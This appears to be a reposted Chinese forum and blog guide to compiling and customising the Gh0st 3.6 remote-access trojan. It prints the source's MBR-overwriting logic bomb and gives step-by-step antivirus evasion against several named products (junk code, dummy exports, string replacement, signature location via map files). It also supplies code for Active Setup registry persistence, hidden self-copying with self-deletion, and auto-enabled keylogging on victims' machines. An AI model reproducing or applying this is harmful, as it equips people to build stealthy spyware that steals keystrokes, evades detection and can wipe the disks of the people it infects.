zoukankan      html  css  js  c++  java
  • Gh0st3.6编译和源码免杀问题


    详解gh0st源码中去验证(去除逻辑炸弹)
    去验证: BuildView.cpp
    // 以下是原程序效验代码 全部注释掉 即可
    // char strVer[10];
    /* char strTitle[10];
    strVer[0] = ’C’;
    strVer[1] = ’.’;
    strVer[2] = ’R’;
    strVer[3] = ’u’;
    strVer[4] = ’f’;
    strVer[5] = ’u’;
    strVer[6] = ’s’;
    strVer[7] = ’ ’;
    strVer[8] = ’S’;
    strVer[9] = ’\0’;
    strTitle[0] = ’G’;
    strTitle[1] = ’h’;
    strTitle[2] = ’0’;
    strTitle[3] = ’s’;
    strTitle[4] = ’t’;
    strTitle[5] = ’ ’;
    strTitle[6] = ’R’;
    strTitle[7] = ’A’;
    strTitle[8] = ’T’;
    strTitle[9] = ’\0’;
    CString str;
    GetDlgItemText(IDC_STATIC_VER, str);
    if (str.Find(strVer) == -1)
    ((CGh0stApp *)AfxGetApp())->KillMBR();
    GetParent()->GetWindowText(str);
    if (str.Find(strTitle) == -1)
    ((CGh0stApp *)AfxGetApp())->KillMBR();
    */
    // 以上代码全部注释 即可去除效验
    gh0st.cpp 删除以下代码:
    /////////////////////////////////////////////////////////////////////////////
    // CGh0stApp message handlers
    unsigned char scode[] =
    "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
    "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
    "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
    int CGh0stApp::KillMBR()
    {
    HANDLE hDevice;
    DWORD dwBytesWritten, dwBytesReturned;
    BYTE pMBR[512] = {0};

    // 重新构造MBR
    memcpy(pMBR, scode, sizeof(scode) - 1);
    pMBR[510] = 0x55;
    pMBR[511] = 0xAA;

    hDevice = CreateFile
    (
    "\\\\.\\PHYSICALDRIVE0",
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    0,
    NULL
    );
    if (hDevice == INVALID_HANDLE_VALUE)
    return -1;
    DeviceIoControl
    (
    hDevice,
    FSCTL_LOCK_VOLUME,
    NULL,
    0,
    NULL,
    0,
    &dwBytesReturned,
    NULL
    );
    // 写入病毒内容
    WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
    DeviceIoControl
    (
    hDevice,
    FSCTL_UNLOCK_VOLUME,
    NULL,
    0,
    NULL,
    0,
    &dwBytesReturned,
    NULL
    );
    CloseHandle(hDevice);
    ExitProcess(-1);
    return 0;
    }
    源码中自己去掉
    ==============================================
    另外提供一小部分修改的地方,方便制作个人版,不是很全

    修改服务信息:BuildView.cpp
    修改标题:MainFrm.cpp 搜索 cs.lpszName
    I am virus! Fuck you :-)
    !!!版权所有 篡改必毒!!!
    Please wait - initial screen loading
    请稍候,初始屏幕加载...Kyle个人版
    ============
    Connections
    连 接 控 制
    Connections User
    连接被控远程电脑
    Settings
    配置服务
    Control Settings
    配置-服务端-程序
    Build
    生 成
    Build Server
    生成--服务端

    免杀加工
    gh0st3.6有源码,所以我们可以在源码的基础上做木马的免杀,个人感觉卡巴的免杀最好做。
    先抛一砖头,有兴趣的朋友可以接着做,也可以和本人交流。
    编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,具体为什么以及如何配置可以查看网上有关资料,也可以查看DDK和SDK帮助。
    首次编译后,先做卡巴的免杀。卡巴杀sys文件和dll,当然也就杀包装它们的install.exe,最后卡巴还杀生成的sever,我这里说杀生成好的server不是和前面的特征码重叠的地方,而是杀配置信息。
    sys免杀
    sys重新编译后,增加了输入表的函数(原因未知,有兴趣的朋友可以比较1下) ,顺利通过卡巴、金山、小红伞等杀软。
    svchost.dll免杀
    1、 MultiByteToWideChar 这个函数的调用上,卡巴就怕花,可以在这个函数前面随便加几句无效语句就可以。
    2、 字符串调用"gh0st update" ,这个是用于更新用的 ,如果不要在线更新,直接把这个语句所在代码块删除;嘿嘿,其实搜索工程替换这个字符串为其他的字符串就可以了^_^,这个方法同样可以过金山,谁让我们有源码呢。
    server免杀
    卡巴定位在最后的配置信息,采取跳转显然是不行的,采用加花的办法,在写入AAAAAA配置信息之前,随便写些东西,就可以做server免杀。
    修改生成的dll
    在源程序里查找%s\\%sEx 或者\%sEx字符串,这个位置就是生成 6to4的地方了,可以改成你想生成的任何的东西。
    纯粹想交流,大家可以在这里跟贴,一起讨论。
    做了这几步..还有瑞星还查杀DLL文件,把DLL文件的大少优化下,加几个输出表..
    金山杀EXE文件,把入口点改下就过了 麦咖啡还杀DLL文件的ServiceMain.把ServiceMain移动远点就过了
    小红伞 NOD还杀输入表....这2个比较麻烦
    我测试了9个杀软 金山,瑞星,卡巴,江民,小红伞,NOD,麦咖啡,诺顿,AVG.
    还有其他杀软.基本上过了.没测试.

    简单补充
    添加垃圾代码的小方法:
    垃圾代码要移动特征码所在的位置,不要跑到堆栈中了,这样的代码没有用。
    可以采取添加for循环,做计数,简单统计,采用局部变量,不改变后面的逻辑为宜。
    添加输出表的方法:
    有杀输出表的,可以在生成的svchost.dll上添加空函数 ,但是每次编译都要修改1次资源 ,其实我们在源码上添加如下语句:
    extern "C" __declspec(dllexport) bool JustTempFun();//声明
    ……
    extern "C" __declspec(dllexport) bool JustTempFun() //实现
    {
    return false;
    }
    编译后,输出表就被改变了,有的杀软就可做到代码免杀。

    把这个代码加到WinMain上面,然后在WinMain里写入 ActiveRun(); 就可以调用了
    这样才能成功
    转载请注明出自暗组技术论坛 http://forum.darkst.com/,本贴地址:http://forum.darkst.com/viewthread.php?tid=38537
    void ActiveRun()//ActiveX自启动的函数
    {
    char WinPath[MAX_PATH];
    GetWindowsDirectory(WinPath,sizeof(WinPath));
    strcat(WinPath,"\\systom32\\svchost.exe");
    HKEY hKey;
    RegDeleteKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"); //删除用户里的ACTIVE,免得不知执行
    RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey);
    RegSetValue(hKey,NULL,REG_SZ,"360safe",strlen("360safe"));
    RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE*)WinPath,lstrlen(WinPath));
    RegCloseKey(hKey);
    }
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    {
    ActiveRun();
    int nRetCode = 0;
    //Begin=======首次运行,拷贝安装========
    char DstFilePath[256];
    char SrcFilePath[256];
    memset(DstFilePath, 0, 256);
    memset(SrcFilePath, 0, 256);
    ::GetWindowsDirectory(DstFilePath,sizeof(DstFilePath));
    strcat(DstFilePath,"\\systom32\\");
    CreateDirectory(DstFilePath, NULL);SetFileAttrib(DstFilePath);//隐藏路径
    strcat(DstFilePath,"svchost.exe");
    GetModuleFileName(NULL, SrcFilePath, sizeof(SrcFilePath));

    if (_stricmp(SrcFilePath,DstFilePath) != 0)
    {
    DeleteFile(DstFilePath);
    if(::CopyFile(SrcFilePath,DstFilePath,FALSE)==0)
    return -1;
    SetFileAttrib(DstFilePath);//隐藏文件
    WinExec(DstFilePath,SW_HIDE);
    uninstall();//自删除
    ExitProcess(0);
    }

    源码出来这么久了.在网上搜一下,几乎见不到可以用的动画或者教程,
    估计大家都想留着技术换钱吧,这里说几种方法、方便大家举一反三
    源码的解锁:这里不多说了,改版权之前最好看看,
    不然硬盘出事了别找别人(已经有很多例子了)
    SYS文件的免杀:一样有教程,大体思路是用advanced find and replace替换SYS源码中的RESSDT为其他任意等长度字符串达到免杀效果,自己看看动画就懂的
    这里主要说说DLL文件的源码免杀过程(免杀好DLL之后,生成的EXE也没几个特征码了,随便改改就过了)
    首先,要了解编译中MAP的利用:
    第一步设置VC编译环境生成Map文件。
    在 VC 中,点击菜单“Project -> Settings”选项页(或按下 Alt+F7),选择 C/C++ 选项卡,并在最下面的 Project Options 里面输入:/Zd ,然后要点击 Link 选项卡,选中“Generate mapfile”复选框,并在最下面的 Project Options 里面输入:/mapinflines,表示生成 MAP 文件时,加入行信息。
    设置完成。
    第二步编译VC工程,设置活动工程编译即可,这个不用说明。这个步骤完成后,在release(或debug)目录,多了一个.map文件(比如svchost.map)。
    第三步打开map文件(用UE或文本编辑器打开都行),形式如下:

    用MYCCL定位DLL的瑞星主要特征码为00014ba8和00014bbb(还有4个特征码在源码免杀了这两个之后都过了),定在了DLL的输出表的SERVICEMAIN和RESETSSDT上面.
    我们在生成的.MAP文件中找跟这两个地址接近的项,如图:
    00014BA8和00014BBB正好是在图中00014AC0和00014BE0之间,对应的是源码里的一个IOCPSERVER.OBJ,这样我们就通过MAP文件把特征码和源码联系起来了,通过修改源码来
    达到免杀特征码的目的
    打开GH0ST源码,点击CLASSES VIEW>>>>GH0ST CLASSES>>>>>CIOCPSERVER,来到如图位置:
    COICPSERVER好像是一个跟WINSOCK有关的东西,这里汇编高手可以直接通过修改代码达到免杀,而我则加了一个无意义代码达到相同的效果(水平问题),如图:
    这样,这处源码免杀就OK了.不过要想达到到更好的免杀效果,我们还需要手动在输出表里面添加几个空函数,点击FILE VIEW>>>>GHOST FILES>>>>SVCHOST.CPP来到如图位置
    看到SERVICEMAIN和RESETSSDT没有,这里,我手动添加了一个新函数,函数名任意,我取了个"FUCKRUIXING".添加完后如图:
    这样子空函数还没完全添加进去,我们还需要在后面加入一段说明这个函数的代码,如图:
    这样,空函数添加完成了,保存一下.因为金山还杀GH0ST的GH0ST UPDATE字符串,我们利用advanced find and replace替换一下就OK了,道理同SYS的免杀
    最后按编译出来丢到虚拟机里测试下,DLL和SYS过了卡巴,瑞星,金山和NOD32(虚拟机里只装了这几个常用的杀软),可以上线,功能没问题

    直接编译gh0st控制端源码会提示Cj60的一个库里面函数名找不到 估计是原来的库在VC60下编译 不匹配的问题
    找到CJ60文件夹 打开 编译Cj60StaticLib库
    1.报错 找不到文件<..\src\afximpl.h>
    貌似从VC7开始这个头文件放在\src\mfc下 找到 stdafx.h 改之
    #include <..\src\mfc\afximpl.h>
    2.error C2440: “static_cast”: 无法从“UINT (__thiscall CCJControlBar::* )(CPoint)”转换为“LRESULT (__thiscall CWnd::* )(CPoint)”
    类型定义的问题 把相关参数的函数返回值改成LRESULT
    3.error C2440: “static_cast”: 无法从“BOOL (__thiscall CCJPagerCtrl::* )(NMPGSCROLL *,LRESULT *)”转换为“BOOL (__thiscall CCmdTarget::* )(NMHDR *,LRESULT *)”
    宏展开后参数不匹配的问题 把NMPGSCROL改成NMHDR进子程序后强转
    LPNMPGSCROL pnmpgs = (LPNMPGSCROL ) pnmhdr;
    4.error C2664: “MultiByteToWideChar”: 不能将参数 5 从“USHORT *”转换为“LPWSTR”
    这个是从某一版本以后 wchar_t开始变成编译器内置类型的问题 几个串类型之间不能默认转换 强转即可
    接下来编译控制端gh0st
    1.一上来提示找不到stdafx.h 我靠 打开header目录一看 有这个文件 ok 在附加包含目录里面加入“./” 解决了
    2.error 2440 和刚才一样的问题 MFC展开宏的问题 进去强转指针即可
    3.ok 到这里再编译 能通过了 刚才那一堆link错误 由于我们用vc8重新编译了cj60库也解决了 但是多出来几个link错误
    nafxcw.lib(afxmem.obj) : error LNK2005: “void * __cdecl operator new(unsigned int)” (??2@YAPAXI@Z) 已经在 LIBCMT.lib(new.obj) 中定义
    看意思大概是操作符在几个库里有重定义的问题 试了忽略nafxcw.lib和libcmt.lib 都不行 后翻到一篇帖子 这种问题需要在附加依赖项里面指定一下链接的先后顺序即可 先链接nafxcw.lib 后链接libcmt.lib 如果编译调试版在库后面加个d
    好了 甩个服务端到虚拟机上去 咱们开始调试吧
    参考文献:
    http://topic.csdn.net/t/20030627/23/1966751.html
    operator new 链接重定义的问题
    http://blog.csdn.net/orbit/archive/2008/11/28/3405309.aspx
    从VC6到VC9移植代码问题总结

    gh0st远控服务端直接开启键盘记录
    作者:admin 日期:2009-03-08
    字体大小: 小 中 大
    闲时玩远控,私下有很多站友想在gh0st服务端运行的同时开启键盘记录,苦于对代码不熟,到处求人,还让人给拿一把,我在这里给出实现方法 ,希望对gh0st爱好者有所帮助。
    在KeyboardManager.cpp的 bool CKeyboardManager::StartHook()方法中,有这样一段代码:

    ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
    GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
    lstrcat(m_pTShared->strRecordFile, "\\keyboard.inf"); //keyboard.inf是自己给的记录文件名
    // 文件存在,就开始离线记录开启
    if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
    m_pTShared->bIsOffline = true;
    else
    m_pTShared->bIsOffline = false;
    从这段代码可以看出,服务端启动后,自动判读有没有keyboard.inf这个文件,如果有,就自动开启离线记录,如果没有就默认没有开启键盘记录。
    我们在类构造的时候加上如下代码:
    char strRecordFile [MAX_PATH];
    GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
    lstrcat(strRecordFile, "\\keyboard.inf");
    if (GetFileAttributes(strRecordFile) == -1)
    {
    HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
    Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    CloseHandle(hFile);
    }

    在类初始化的时候,我们判读有没有键盘记录文件,如果没有,则自动创建一个新的键盘记录文件,服务端就会默认开启键盘记录了,这样就不用特意再打开服务端控制,从而避免有效信息丢失 ^_^
  • 相关阅读:
    Django
    ionic创建项目报错Error: read ECONNRESET at _errnoException (util.js:992:11) at TLSWrap.onread (net.js:618:25)
    转《vue引入第三方js库》
    转《在浏览器中使用tensorflow.js进行人脸识别的JavaScript API》
    微信小程序自定义组件
    小程序中尽量少使用定时器
    解决小程序webview缓存机制
    小程序获取当前页面URL
    6s ios9.0平台 微信小程序的fixed定位兼容性问题
    如何使用nodejs快速搭建本地服务器
  • 原文地址:https://www.cnblogs.com/94YY/p/2083459.html
Copyright © 2011-2022 走看看